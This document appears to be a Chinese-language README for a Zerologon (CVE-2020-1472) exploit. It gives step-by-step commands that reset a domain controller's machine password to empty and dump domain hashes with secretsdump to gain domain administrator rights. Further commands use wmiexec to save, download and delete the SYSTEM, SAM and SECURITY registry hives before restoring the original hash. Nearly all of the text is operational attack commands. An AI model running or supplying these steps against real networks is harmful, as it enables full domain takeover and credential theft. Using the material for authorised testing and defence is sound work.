利用代码基于 https://www.secura.com/blog/zero-logon 和 https://github.com/SecuraBV/CVE-2020-1472。原始研究和扫描工具由 Secura 完成,RiskSense Inc. 进行了修改。
要利用此漏洞,请清除先前安装的任何 Impacket 版本,并从 https://github.com/SecureAuthCorp/impacket/commit/b867b21 或更新版本安装 Impacket。然后执行:
python3 set_empty_pw DC_NETBIOS_NAME DC_IP_ADDR
如果成功,你将能够:
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC_NETBIOS_NAME$@dc_ip_addr'
这将获取域管理员权限。获得之后,使用 wmiexec.py 通过从 secretsdump 得到的凭据连接到目标 DC,并执行以下命令:
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
然后你可以执行:
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
这将显示该机器账户的原始 NT 哈希值。然后你可以通过以下命令将该原始机器账户哈希值重新安装回域中:
python3 reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH
重新安装原始哈希值对于域控制器继续正常运行是必要的。